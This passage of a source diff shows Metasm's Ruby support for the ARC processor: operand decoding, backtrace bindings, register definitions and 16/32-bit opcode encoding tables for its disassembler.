when :cs9, :cs10, :cs11; Expression[field_val[a]]
when :cdisps7, :cdisps8, :cdisps10, :cdisps13; Expression[field_val[a]]
when :@cb; Memref.new(GPR.new(field_val[:cb]), nil, memref_size(di))
when :@cbu7, :@cbu6, :@cbu5; Memref.new(GPR.new(field_val[:cb]), Expression[field_val[a]], memref_size(di))
when :@cspu7; Memref.new(GPR.new(28), field_val[a], memref_size(di))
when :@cbcc; Memref.new(field_val[:cb], field_val[:cc], memref_size(di))
# 32-bits instruction operands ------------------------------------------"
when :a, :b
((r = field_val[a]) == 0x3E) ? :zero : GPR.new(r)
when :b2; GPR.new field_val[:b]
when :c; GPR.new field_val[a]
when :bext, :cext; field_val[a]
when :@cext
target = field_val[a]
(di.opcode.props[:setip] and target.kind_of? GPR) ? Memref.new(target, nil, memref_size(di)) : target
when :@bextcext
tmp = field_val[a]
#c = tmp & 0x3F
tmp = tmp >> 6
b = (tmp >> 12) | ((tmp & 0x7) << 3)
Memref.new(field_val[:bext], field_val[:cext], memref_size(di))
when :u6, :u6e, :s8e, :s9, :s12; Expression[field_val[a]]
when :s12e, :s21e, :s21ee, :s25e, :s25ee; Expression[field_val[a]]
when :auxs12; AUX.new field_val[:s12]
when :@c; Memref.new(GPR.new(field_val[a]), nil, memref_size(di))
when :@bcext; Memref.new(field_val[a], nil, memref_size(di))
when :@bcext; Memref.new(field_val[:b], field_val[:cext], memref_size(di))
when :@bs9
# [b,s9] or [limm] if b = 0x3E
base = field_val[:bext]
Memref.new(base, (base.kind_of? GPR) ? Expression[field_val[a]] : nil, memref_size(di))
# common instruction operands ------------------------------------------"
when :zero; Expression[0]
when :gp; GPR.new(26)
when :sp, :sp2; GPR.new(28)
when :blink; GPR.new(31)
when :@ilink1; Memref.new(GPR.new(29), nil, memref_size(di))
when :@ilink2; Memref.new(GPR.new(30), nil, memref_size(di))
when :@blink; Memref.new(GPR.new(31), nil, memref_size(di))
else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
end
end
}
di.bin_length += edata.ptr - before_ptr
return if edata.ptr > edata.virtsize
di
end
def disassembler_default_func
df = DecodedFunction.new
df.backtrace_binding = {}
15.times { |i|
df.backtrace_binding["r#{i}".to_sym] = Expression::Unknown
}
df.backtracked_for = []
df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr|
if funcaddr != :default
btfor
elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip]
btfor
else []
end
}
df
end
REG_SYMS = [:r26, :r27, :r28, :r29, :r30, :r31, :r60]
def register_symbols
REG_SYMS
end
def backtrace_binding
@backtrace_binding ||= init_backtrace_binding
end
def opshift(op)
op[/\d/].to_i
end
def with_res(arg)
arg != :zero
end
def init_backtrace_binding
sp = :r28
blink = :r31
@backtrace_binding ||= {}
mask = lambda { |sz| (1 << sz)-1 } # 32bits => 0xffff_ffff
opcode_list.each{|mode, oplist|
oplist.map { |ol| ol.name }.uniq.each { |op|
binding = case op
when /^add/, /^sub/
lambda { |di, a0, a1, a2|
if (shift = opshift(op)) == 0
{ a0 => Expression[[a1, :+, a2], :&, mask[32]] }
else
{ a0 => Expression[[a1, :+, [a2, :<<, shift]], :&, mask[32]] }
end
}
when /^and/
lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, a2] } }
when /^asl/
lambda { |di, *a| { a[0] => Expression[[a[1], :<<, (a[2] ? a[2]:1)], :&, mask[32]] } }
when /^bxor/
lambda { |di, a0, a1, a2| { a0 => Expression[a1, :^, [1, :<<, a2]] }}
when /^bclr/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, Expression[mask[32], :^, Expression[1, :<<, a2]]] } }
when /^bset/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, Expression[1, :<<, a2]] } }
when /^jl/; lambda { |di, a0| { blink => Expression[di.next_addr] } }
when 'bl', 'bl_s', /^bl\./
# FIXME handle delay slot
# "This address is taken either from the first instruction following the branch (current PC) or the
# instruction after that (next PC) according to the delay slot mode (.d)."
lambda { |di, a0| { blink => Expression[di.next_addr] } }
when /^mov/, /^lr/, /^ld/; lambda { |di, a0, a1| { a0 => a1 } }
when /^neg/; lambda { |di, a0, a1| { a0 => Expression[[0, :-, a1], :&, mask[32]] } }
when /^not/; lambda { |di, a0, a1| { a0 => Expression[[:~, a1], :&, mask[32]] } }
when /^or/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, a2] } }
when /^st/, /^sr/; lambda { |di, a0, a1| { a1 => a0 } }
when /^ex/; lambda { |di, a0, a1| { a1 => a0 , a0 => a1 } }
when 'push_s'
lambda { |di, a0| {
sp => Expression[sp, :-, 4],
Indirection[sp, @size/8, di.address] => Expression[a0]
} }
when 'pop_s'
lambda { |di, a0| {
a0 => Indirection[sp, @size/8, di.address],
sp => Expression[sp, :+, 4]
} }
end
@backtrace_binding[op] ||= binding if binding
}
}
@backtrace_binding
end
def get_backtrace_binding(di)
a = di.instruction.args.map { |arg|
case arg
when GPR; arg.symbolic
when Memref; arg.symbolic(di.address)
else arg
end
}
if binding = backtrace_binding[di.opcode.basename]
binding[di, *a]
else
puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
{ :incomplete_binding => Expression[1] }
end
end
def get_xrefs_x(dasm, di)
return [] if not di.opcode.props[:setip]
arg = case di.opcode.name
when 'b', 'b_s', /^j/, /^bl/, /^br/, 'lp'
expr = di.instruction.args.last
expr.kind_of?(Memref) ? expr.base : expr
else di.instruction.args.last
end
[Expression[(arg.kind_of?(Reg) ? arg.symbolic : arg)]]
end
def backtrace_is_function_return(expr, di=nil)
Expression[expr].reduce == Expression[register_symbols[5]]
end
def delay_slot(di=nil)
return 0 if (not di) or (not di.opcode.props[:setip])
return 1 if di.opcode.props[:delay_slot]
(di.instruction.opname =~ /\.d/) ? 0 : 1
end
end
end

View File

@ -0,0 +1,191 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2010 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/main'
module Metasm
class ARC < CPU
def initialize(e = :little)
super()
@endianness = e
@size = 32
end
class Reg
include Renderable
attr_accessor :i
def initialize(i); @i = i end
def ==(o)
o.class == self.class and o.i == i
end
end
# general purpose reg
# Result R0-R1
# Arguments R0-R7
# Caller Saved Registers R0-R12
# Callee Saved Registers R13-R25
# Static chain pointer (if required) R11
# Register for temp calculation R12
# Global Pointer R26 (GP)
# Frame Pointer R27 (FP)
# Stack Pointer R28 (SP)
# Interrupt Link Register 1 R29 (ILINK1)
# Interrupt Link Register 2 R30 (ILINK2)
# Branch Link Register R31 (BLINK)
class GPR < Reg
Sym = (0..64).map { |i| "r#{i}".to_sym }
def symbolic; Sym[@i] end
Render = {
26 => 'gp', # global pointer, used to point to small sets of shared data throughout execution of a program
27 => 'fp', # frame pointer
28 => 'sp', # stak pointer
29 => 'ilink1', # maskable interrupt link register
30 => 'ilink2', # maskable interrupt link register 2
31 => 'blink', # branch link register
60 => 'lp_count', # loop count register (24 bits)
# "When a destination register is set to r62 there is no destination for the result of the instruction so the
# result is discarded. Any flag updates will still occur according to the set flags directive (.F or implicit
# in the instruction)."
62 => 'zero'
}
def render
if s = Render[i]
[s]
else
# r0-r28 general purpose registers
# r32-r59 reserved for extentions
["r#@i"]
end
end
end
class AUX < Reg
def symbolic; "aux#{i}".to_sym end
Render = {
0x00 => 'status', # Status register (Original ARCtangent-A4 processor format)
0x01 => 'semaphore', # Inter-process/Host semaphore register
0x02 => 'lp_start', # Loop start address (32-bit)
0x03 => 'lp_end', # Loop end address (32-bit)
0x04 => 'identity', # Processor Identification register
0x05 => 'debug', # Debug register
0x06 => 'pc', # PC register (32-bit)
0x0A => 'status32', # Status register (32-bit)
0x0B => 'status32_l1', # Status register save for level 1 interrupts
0x0C => 'status32_l2', # Status register save for level 2 interrupts
0x10 => 'ic_ivic', # Cache invalidate
0x11 => 'ic_ctrl', # Mode bits for cache controller
0x12 => 'mulhi', # High part of Multiply
0x19 => 'ic_ivil',
0x21 => 'timer0_cnt', # Processor Timer 0 Count value
0x22 => 'timer0_ctrl', # Processor Timer 0 Control value
0x23 => 'timer0_limit', # Processor Timer 0 Limit value
0x25 => 'int_vector_base', # Interrupt Vector Base address
0x40 => 'im_set_dc_ctrl',
0x41 => 'aux_macmode', # Extended Arithmetic Status and Mode
0x43 => 'aux_irq_lv12', # Interrupt Level Status
0x47 => 'dc_ivdc', # Invalidate cache
0x48 => 'dc_ctrl', # Cache control register
0x49 => 'dc_ldl', # Lock data line
0x4A => 'dc_ivdl', # Invalidate data line
0x4B => 'dc_flsh', # Flush data cache
0x4C => 'dc_fldl', # Flush data line
0x58 => 'dc_ram_addr', # Access RAM address
0x59 => 'dc_tag', # Tag Access
0x5A => 'dc_wp', # Way Pointer Access
0x5B => 'dc_data', # Data Access
0x62 => 'crc_bcr',
0x64 => 'dvfb_bcr',
0x65 => 'extarith_bcr',
0x68 => 'vecbase_bcr',
0x69 => 'perbase_bcr',
0x6f => 'mmu_bcr',
0x72 => 'd_cache_build', # Build: Data Cache
0x73 => 'madi_build', # Build: Multiple ARC Debug I/F
0x74 => 'ldstram_build', # Build: LD/ST RAM
0x75 => 'timer_build', # Build: Timer
0x76 => 'ap_build', # Build: Actionpoints
0x77 => 'i_cache_build', # Build: I-Cache
0x78 => 'addsub_build', # Build: Saturated Add/Sub
0x79 => 'dspram_build', # Build: Scratch RAM & XY Memory
0x7B => 'multiply_build', # Build: Multiply
0x7C => 'swap_build', # Build: Swap
0x7D => 'norm_build', # Build: Normalise
0x7E => 'minmax_build', # Build: Min/Max
0x7F => 'barrel_build', # Build: Barrel Shift
0x100 => 'timer1_cnt', # Processor Timer 1 Count value
0x101 => 'timer1_ctrl', # Processor Timer 1 Control value
0x102 => 'timer1_limit', # Processor Timer 1 Limit value
0x200 => 'aux_irq_lev', # Interrupt Level Programming
0x201 => 'aux_irq_hint', # Software Triggered Interrupt
0x202 => 'aux_irq_mask', # Masked bits for Interrupts
0x203 => 'aux_irq_base', # Interrupt Vector base address
0x400 => 'eret', # Exception Return Address
0x401 => 'erbta', # Exception Return Branch Target Address
0x402 => 'erstatus', # Exception Return Status
0x403 => 'ecr', # Exception Cause Register
0x404 => 'efa', # Exception Fault Address
0x40A => 'icause1', # Level 1 Interrupt Cause Register
0x40B => 'icause2', # Level 2 Interrupt Cause Register
0x40C => 'aux_ienable', # Interrupt Mask Programming
0x40D => 'aux_itrigger', # Interrupt Sensitivity Programming
0x410 => 'xpu', # User Mode Extension Enables
0x412 => 'bta', # Branch Target Address
0x413 => 'bta_l1', # Level 1 Return Branch Target
0x414 => 'bta_l2', # Level 2 Return Branch Target
0x415 => 'aux_irq_pulse_cancel', # Interrupt Pulse Cancel
0x416 => 'aux_irq_pending', # Interrupt Pending Register
}
def render
if s = Render[i]
[s]
else
["aux#@i"]
end
end
end
class Memref
attr_accessor :base, :disp
def initialize(base, disp, sz)
@base, @disp, @size = base, disp, sz
end
def symbolic(orig)
b = @base
b = b.symbolic if b.kind_of? Reg
if disp
o = @disp
o = o.symbolic if o.kind_of? Reg
e = Expression[b, :+, o].reduce
else
e = Expression[b].reduce
end
Indirection[e, @size, orig]
end
include Renderable
def render
if @disp and @disp != 0
['[', @base, ', ', @disp, ']']
else
['[', @base, ']']
end
end
end
end
end

View File

@ -0,0 +1,588 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2010 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/cpu/arc/main'
module Metasm
class ARC
def addop32(name, bin, *args)
addop(:ac32, name, bin, *args)
end
def addop16(name, bin, *args)
addop(:ac16, name, bin, *args)
end
def addop(mode, name, bin, *args)
o = Opcode.new(name)
o.bin = bin
args.each { |a|
o.args << a if @fields_mask[a]
o.props[a] = true if @valid_props[a]
o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a]
}
(mode == :ac16) ? (@opcode_list16 << o) : (@opcode_list32 << o)
end
def init_opcode_list
@opcode_list16 = []
@opcode_list32 = []
@valid_props.update :flag_update => true, :delay_slot => true
@cond_suffix = [''] + %w[z nz p n cs cc vs vc gt ge lt le hi ls pnz]
#The remaining 16 condition codes (10-1F) are available for extension
@cond_suffix += (0x10..0x1f).map{ |i| "extcc#{i.to_s(16)}" }
# Compact 16-bits operands field masks
fields_mask16 = {
:ca => 0x7, :cb => 0x7, :cb2 => 0x7, :cb3 => 0x7, :cc => 0x7,
:cu => 0x1f,
:ch => 0b11100111,
# immediate (un)signed
:cu3 => 0x7, :cu8 => 0xff,
# cu7 is 32-bit aligned, cu6 is 16-bit aligned, cu6 is 8-bit aligned
:cu5 => 0x1f, :cu5ee => 0x1f, :cu6 => 0x3f, :cu7 => 0x7f,
:cs9 => 0x1ff, :cs9ee => 0x1ff, :cs10 => 0x1ff, :cs11 => 0x1ff,
# signed displacement
:cdisps7=> 0x3f, :cdisps8 => 0x7f, :cdisps10 => 0x1ff, :cdisps13 => 0x7FF,
# memref [b+u], [sp,u], etc.
:@cb => 0x7, :@cbu7 => 0b11100011111, :@cbu6 => 0b11100011111, :@cbu5 => 0b11100011111,
:@cspu7 => 0b11111, :@cbcc => 0b111111,
:@gps9 => 0x1ff, :@gps10 => 0x1ff, :@gps11 => 0x1ff,
# implicit operands
:climm => 0x0, :cr0 => 0x0,
:blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0
}
fields_shift16 = {
:ca => 0x0, :cb => 0x8, :cb2 => 0x8, :cb3 => 0x8, :cc => 0x5,
:cu => 0x0,
# immediate (un)signed
:ch => 0x0,
:cu3 => 0x0, :cu5 => 0, :cu5ee => 0, :cu6 => 5, :cu7 => 0x0, :cu8 => 0x0,
:cs9 => 0x0, :cs9ee => 0x0, :cs10 => 0x0, :cs11 => 0x0,
# signed displacement
:cdisps7=> 0x0, :cdisps8 => 0x0, :cdisps10 => 0x0, :cdisps13 => 0x0,
# memref [b+u]
:@cb => 0x8, :@cbu7 => 0x0, :@cbu6 => 0x0, :@cbu5 => 0x0,
:@cspu7 => 0x0, :@cbcc => 0x5,
:@gps9 => 0x0, :@gps10 => 0x0, :@gps11 => 0x0,
# implicit operands
:climm => 0x0, :cr0 => 0x0,
:blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0,
}
fields_mask32 = {
:a => 0x3f, :b => 0b111000000000111, :bext => 0b111000000000111,
:c => 0x3f, :@c => 0x3f, :cext => 0x3f, :@cext => 0x3f,
:u6 => 0x3f, :u6e => 0x3f,
:s8e => 0x1fd, :s9 => 0x7f,
:s12 => 0xfff, :s12e => 0xfff,
:s21e => 0x1ffBff, :s21ee => 0x1ff3ff,
:s25e => 0x7feffcf, :s25ee => 0x7fcffcf,
:@bs9 => 0x7fff, :@bc => 0x1ff, :@bextcext => 0x1C01FF,
:limm => 0x0, :@limm => 0x0,
:@limmc => 0x3f, :@blimm => 0x7,
:auxlimm => 0x0, :auxs12 => 0xfff,
:ccond => 0x1f, #condition codes
:delay5 => 1, :delay16 => 1,# delay slot
:flags15 => 0x1, :flags16 => 0x1,
:signext6 => 0x1, :signext16 => 0x1,
:cache5 => 0x1, :cache11 => 0x1, :cache16 => 0x1, # data cache mode field
:sz1 => 0x3, :sz7 => 0x3, :sz16 => 0x3, :sz17 => 0x3, #data size field
:wb3 => 0x3, :wb9 => 0x3, :wb22 => 0x3, #write-back flag
:zero => 0x0, :b2 => 0x0, :@ilink1 => 0x0, :@ilink2 => 0x0
}
#FIXME
fields_shift32 = {
:a => 0x0, :b => 0xC, :bext => 0xC,
:c => 0x6, :@c => 0x6, :cext => 0x6, :@cext => 0x6,
:u6 => 0x6, :u6e =>0x6,
:s8e => 15, :s9 => 0x11,
:s12 => 0x0, :s12e => 0,
:s21e => 0x6, :s21ee => 0x6,
:s25e => 0, :s25ee => 0,
:limm => 0x0, :@limm => 0x0,
:@limmc => 0x6, :@blimm => 0x18,
:auxlimm => 0x0, :auxs12 => 0,
:@bs9 => 12, :@bc => 6, :@bextcext => 6,
:ccond => 0, #condition codes
:delay5 => 5, :delay16 => 16,# delay slot
:flags15 => 15, :flags16 => 16,
:signext6 => 6, :signext16 => 16,
:cache5 => 5, :cache11 => 11, :cache16 => 16, # data cache mode field
:sz1 => 1, :sz7 => 7, :sz16 => 16, :sz17 => 17, #data size field
:wb3 => 3, :wb9 => 9, :wb22 => 22, #write-back flag
:zero => 0x0, :b2 => 0x0, :@ilink1 => 0, :@ilink2 => 0,
}
@fields_mask = fields_mask16.merge(fields_mask32)
@fields_shift = fields_shift16.merge(fields_shift32)
init_arc_compact16()
init_arc_compact32()
{16 => @opcode_list16, 32 => @opcode_list32}
end
def add_artihm_op(op, majorcode, subcode, *flags)
# 0bxxxxxbbb00xxxxxxFBBBCCCCCCAAAAAA
addop32 op, 0b00000000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :cext, :flags15
# 0bxxxxxbbb01xxxxxxFBBBuuuuuuAAAAAA
addop32 op, 0b00000000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15
# 0bxxxxxbbb10xxxxxxFBBBssssssSSSSSS
addop32 op, 0b00000000100000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :s12, :flags15
# 0bxxxxxbbb11xxxxxxFBBBCCCCCC0QQQQQ
addop32 op, 0b00000000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :cext, :ccond, :flags15
# 0bxxxxxbbb11xxxxxxFBBBuuuuuu1QQQQQ
addop32 op, 0b00000000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15
end
def add_logical_op(op, majorcode, subcode, *flags)
# 0b00100bbb00xxxxxxFBBBCCCCCCAAAAAA
addop32 op, 0b00100000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :c, :flags15
# 0b00100bbb01xxxxxxFBBBuuuuuuAAAAAA
addop32 op, 0b00100000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15
# 0b00100bbb11xxxxxxFBBBCCCCCC0QQQQQ
# WTF
addop32 op, 0b00100000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :c, :ccond, :flags15
# 0b00100bbb11xxxxxxFBBBuuuuuu1QQQQQ
addop32 op, 0b00100000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15
end
def add_artihm_op_reduce(op, majorcode, subcode)
# 0bxxxxxbbb00101111FBBBCCCCCCxxxxxx
addop32 op, 0b00000000001011110000000000000000 | majorcode << 0x1b | subcode, :b, :cext, :flags15
# 0bxxxxxbbb01101111FBBBuuuuuuxxxxxx
addop32 op, 0b00000000011011110000000000000000 | majorcode << 0x1b | subcode, :b, :u6, :flags15
end
def add_condbranch_op(op, ccond)
# 0b00001bbbsssssss1SBBBUUUUUUN0xxxx
addop32 op, 0b00001000000000010000000000000000 | ccond, :bext, :cext, :s8e, :setip, :delay5
# 0b00001bbbsssssss1SBBBUUUUUUN1xxxx
addop32 op, 0b00001000000000010000000000010000 | ccond, :b, :u6, :s8e, :setip, :delay5
end
def add_condjmp_op()
# 0b00100RRR1110000D0RRRCCCCCC0QQQQQ
addop32 'j', 0b00100000111000000000000000000000, :@cext, :ccond, :setip, :delay16
# 0b00100RRR1110000D0RRRuuuuuu1QQQQQ
addop32 'j', 0b00100000111000000000000000100000, :u6, :ccond, :setip, :delay16
# 0b00100RRR111000001RRR0111010QQQQQ
addop32 'j', 0b00100000111000001000011101000000, :@ilink1, :ccond, :setip, :flag_update
# 0b00100RRR111000001RRR0111100QQQQQ
addop32 'j', 0b00100000111000001000011110000000, :@ilink2, :ccond, :setip, :flag_update
end
def add_condjmplink_op()
# 0b00100RRR111000100RRRCCCCCC0QQQQQ
addop32 'jl', 0b00100000111000100000000000000000, :@cext, :ccond, :setip, :saveip, :delay16
# 0b00100RRR111000100RRRuuuuuu1QQQQQ
addop32 'jl', 0b00100000111000100000000000100000, :u6, :ccond, :setip, :saveip, :delay16
end
def init_arc_compact32
add_artihm_op_reduce 'abs', 0b00100, 0b001001
add_artihm_op_reduce 'abss', 0b00101, 0b000101
add_artihm_op_reduce 'abssw', 0b00101, 0b000100
add_artihm_op 'adc', 0b00100, 0b000001
add_artihm_op 'add', 0b00100, 0b000000
add_artihm_op 'add1', 0b00100, 0b010100
add_artihm_op 'add2', 0b00100, 0b010101
add_artihm_op 'add3', 0b00100, 0b010110
add_artihm_op 'adds', 0b00101, 0b000110
add_artihm_op 'addsw', 0b00101, 0b010101, :extended
add_artihm_op 'addsdw',0b00101, 0b101000, :extended
add_artihm_op 'and' ,0b00100, 0b000100
add_artihm_op_reduce 'asl', 0b00100, 0b000000
add_artihm_op 'asl', 0b00101, 0b000000, :extended
add_artihm_op 'asls', 0b00101, 0b001010, :extended
add_artihm_op_reduce 'asr', 0b00100, 0b000001
add_artihm_op 'asr', 0b00101, 0b000010
add_artihm_op 'asrs', 0b00101, 0b001011
# 0b00001bbbsssssss1SBBBCCCCCCN01110
addop32 'bbit0', 0b00001000000000010000000000001110, :b, :c, :s9, :delay5, :setip
# 0b00001bbbsssssss1SBBBuuuuuuN11110
addop32 'bbit0', 0b00001000000000010000000000011110, :b, :u6, :s9, :delay5, :setip
# 0b00001bbbsssssss1SBBBCCCCCCN01111
addop32 'bbit1', 0b00001000000000010000000000001111, :b, :c, :s9, :delay5, :setip
# 0b00001bbbsssssss1SBBBuuuuuuN11111
addop32 'bbit1', 0b00001000000000010000000000011111, :b, :u6, :s9, :delay5, :setip
# 0b00000ssssssssss0SSSSSSSSSSNQQQQQ
addop32 'b', 0b00000000000000000000000000000000, :s21e, :ccond, :delay5, :setip
# 0b00000ssssssssss1SSSSSSSSSSNRtttt
addop32 'b', 0b00000000000000010000000000000000, :s25e, :delay5, :setip, :stopexec
# WTF: unknown encoding, bit 5 should be reserved
addop32 'b', 0b00000000000000010000000000010000, :s25e, :delay5, :setip, :stopexec
add_logical_op 'bclr', 0b00100, 0b010000
add_artihm_op 'bic', 0b00100, 0b000110
# 0b00001sssssssss00SSSSSSSSSSNQQQQQ
addop32 'bl', 0b00001000000000000000000000000000, :s21ee, :ccond, :delay5, :setip, :saveip
# 0b00001sssssssss10SSSSSSSSSSNRtttt
addop32 'bl', 0b00001000000000100000000000000000, :s25ee, :delay5, :setip, :saveip, :stopexec
add_logical_op 'bmsk', 0b00100, 0b010011
add_condbranch_op 'breq', 0b0000
add_condbranch_op 'brne', 0b0001
add_condbranch_op 'brlt', 0b0010
add_condbranch_op 'brge', 0b0011
add_condbranch_op 'brlo', 0b0100
add_condbranch_op 'brhs', 0b0101
addop32 'brk', 0b00100101011011110000000000111111, :stopexec
add_logical_op 'bset', 0b00100, 0b001111
# 0b00100bbb110100011BBBCCCCCC0QQQQQ
addop32 'btst', 0b00100000110100011000000000000000, :bext, :c, :ccond
# 0b00100bbb110100011BBBuuuuuu1QQQQQ
addop32 'btst', 0b00100000110100011000000000100000, :b, :u6, :ccond
# WTF 0b00100bbb010100011BBBuuuuuu0QQQQQ
addop32 'btst', 0b00100000010100011000000000000000, :b, :u6, :ccond
add_logical_op 'bxor', 0b00100, 0b010010
# 0b00100bbb100011001BBBssssssSSSSSS
addop32 'cmp', 0b00100000100011001000000000000000, :b, :s12
# WTF unknown encoding ...
# 0b00100bbb010011001BBBssssssSSSSSS
addop32 'cmp', 0b00100000010011001000000000000000, :b, :s12
# 0b00100bbb110011001BBBuuuuuu1QQQQQ
addop32 'cmp', 0b00100000110011001000000000100000, :b, :u6, :ccond
# WTF unknown encoding ...
# 0b00100bbb010011001BBBssssssSSSSSS
addop32 'cmp', 0b00100000000011001000000000000000, :bext, :cext, :ccond
# 0b00100bbb110011001BBBCCCCCC0QQQQQ
addop32 'cmp', 0b00100000110011001000000000000000, :bext, :cext, :ccond
add_artihm_op 'divaw', 0b00101, 0b001000, :extended
# 0b00100bbb00101111DBBBCCCCCC001100
addop32 'ex', 0b00100000001011110000000000001100, :b, :@cext, :cache16
# 0b00100bbb01101111DBBBuuuuuu001100
addop32 'ex', 0b00100000011011110000000000001100, :b, :@u6, :cache16
add_artihm_op_reduce 'extb', 0b00100, 0b000111
add_artihm_op_reduce 'extw', 0b00100, 0b001000
# WTF unknown encoding ...
# 0b00100rrr111010010RRRCCCCCC0QQQQQ
addop32 'flag', 0b00100000001010010000000000000000, :cext, :ccond, :flag_update
# 0b00100rrr111010010RRRuuuuuu1QQQQQ
addop32 'flag', 0b00100000001010010000000000100000, :u6, :ccond, :flag_update
# 0b00100rrr101010010RRRssssssSSSSSS
addop32 'flag', 0b00100000011010010000000000000000, :s12, :flag_update
add_condjmp_op()
add_condjmplink_op()
# 0b00100RRR001000000RRRCCCCCCRRRRRR
addop32 'j', 0b00100000001000000000000000000000, :@cext, :delay16, :setip, :stopexec
# 0b00100RRR011000000RRRuuuuuuRRRRRR
addop32 'j', 0b00100000011000000000000000000000, :u6, :delay16, :setip, :stopexec
# 0b00100RRR101000000RRRssssssSSSSSS
addop32 'j', 0b00100000101000000000000000000000, :s12, :delay16, :setip, :stopexec
# 0b00100RRR001000001RRR011101RRRRRR
addop32 'j.f', 0b00100000001000001000011101000000, :@ilink1, :flag_update, :setip, :stopexec
# 0b00100RRR001000001RRR011110RRRRRR
addop32 'j.f', 0b00100000001000001000011110000000, :@ilink2, :flag_update, :setip, :stopexec
# 0b00100RRR0010001D0RRRCCCCCCRRRRRR
addop32 'jl', 0b00100000001000100000000000000000, :@cext, :delay16, :setip, :saveip, :stopexec
# 0b00100RRR0110001D0RRRuuuuuuRRRRRR
addop32 'jl', 0b00100000011000100000000000000000, :u6, :delay16, :setip, :saveip, :stopexec
# 0b00100RRR1010001D0RRRssssssSSSSSS
addop32 'jl', 0b00100000101000100000000000000000, :s12, :delay16, :setip, :saveip, :stopexec
# 0b00010bbbssssssssSBBBDaaZZXAAAAAA
addop32 'ld', 0b00010000000000000000000000000000, :a, :@bs9, :sz7, :signext6, :wb9, :cache11
# 0b00100bbbaa110ZZXDBBBCCCCCCAAAAAA
addop32 'ld', 0b00100000001100000000000000000000, :a, :@bextcext, :sz17, :signext16, :wb22, :cache11
# 0b00100RRR111010000RRRuuuuuu1QQQQQ
addop32 'lp', 0b00100000111010000000000000100000, :u6e, :ccond, :setip
# 0b00100RRR101010000RRRssssssSSSSSS
addop32 'lp', 0b00100000101010000000000000000000, :s12e, :setip
# 0b00100bbb001010100BBBCCCCCCRRRRRR
addop32 'lr', 0b00100000101010100000000000000000, :b, :@c
# 0b00100bbb001010100BBB111110RRRRRR
addop32 'lr', 0b00100000001010100000111110000000, :b, :auxlimm
# 0b00100bbb101010100BBBssssssSSSSSS
addop32 'lr', 0b00100000011010100000000000000000, :b, :auxs12
# WTF unknown encoding ...
# 0b00100bbb101010100BBBssssssSSSSSS
addop32 'lr', 0b00100000101010100000000000000000, :b, :auxs12
add_artihm_op_reduce 'lsr', 0b00100, 0b000010
add_artihm_op 'lsr', 0b00101, 0b000001
add_artihm_op 'max', 0b00100, 0b001000
add_artihm_op 'min', 0b00100, 0b001001
# 0b00100bbb10001010FBBBssssssSSSSSS
addop32 'mov', 0b00100000100010100000000000000000, :b, :s12, :flags15
# WTF unknown encoding ...
# 0b00100bbb01001010FBBBssssssSSSSSS
addop32 'mov', 0b00100000010010100000000000000000, :b, :s12, :flags15
# 0b00100bbb11001010FBBBCCCCCC0QQQQQ
addop32 'mov', 0b00100000110010100000000000000000, :b, :cext, :ccond , :flags15
# WTF unknown encoding ..
# 0b00100bbb00001010FBBBCCCCCC0QQQQQ
addop32 'mov', 0b00100000000010100000000000000000, :b, :cext, :ccond , :flags15
# 0b00100bbb11001010FBBBuuuuuu1QQQQQ
addop32 'mov', 0b00100000110010100000000000100000, :b, :u6, :ccond , :flags15
add_artihm_op 'mpy', 0b00100, 0b011010, :extended
add_artihm_op 'mpyh', 0b00100, 0b011011, :extended
add_artihm_op 'mpyhu', 0b00100, 0b011100, :extended
add_artihm_op 'mpyu', 0b00100, 0b011101, :extended
# WTF: neg instruction is not differenciated from a rsub :a, :b, :u6
# : 0b00100bbb01001110FBBB000000AAAAAA
#addop32 'neg', 0b00100000010011100000000000000000, :a, :b, :flags15
# WTF: neg instruction is not differenciated from a rsub :b, :b2, :u6
# 0b00100bbb11001110FBBB0000001QQQQQ
#addop32 'neg', 0b00100000110011100000000000100000, :b, :b2, :ccond , :flags15
add_artihm_op_reduce 'negs', 0b00101, 0b000111
add_artihm_op_reduce 'negsw', 0b00101, 0b000110
# nop is an alias over mov null, 0 (mov - [:b, :s12, :flags15])
addop32 'nop', 0b00100110010010100111000000000000
add_artihm_op_reduce 'norm', 0b00101, 0b000001
add_artihm_op_reduce 'normw', 0b00101, 0b001000
add_artihm_op_reduce 'not', 0b00100, 0b001010
add_artihm_op 'or', 0b00100, 0b000101
# 0b00010bbbssssssssSBBB0aa000111110
addop32 'prefetch', 0b00010000000000000000000000111110, :@bs9, :wb
# 0b00100bbbaa1100000BBBCCCCCC111110
addop32 'prefetch', 0b00100000001100000000000000111110, :@bextcext, :wb22
# 0b00100bbb100011011BBBssssssSSSSSS
addop32 'rcmp', 0b00100000100011011000000000000000, :b, :s12
# 0b00100bbb110011011BBBCCCCCC0QQQQQ
addop32 'rcmp', 0b00100000110011011000000000000000, :bext, :cext, :ccond
# 0b00100bbb110011011BBBuuuuuu1QQQQQ
addop32 'rcmp', 0b00100000110011011000000000100000, :b, :u6, :ccond
add_artihm_op_reduce 'rlc', 0b00100, 0b001011
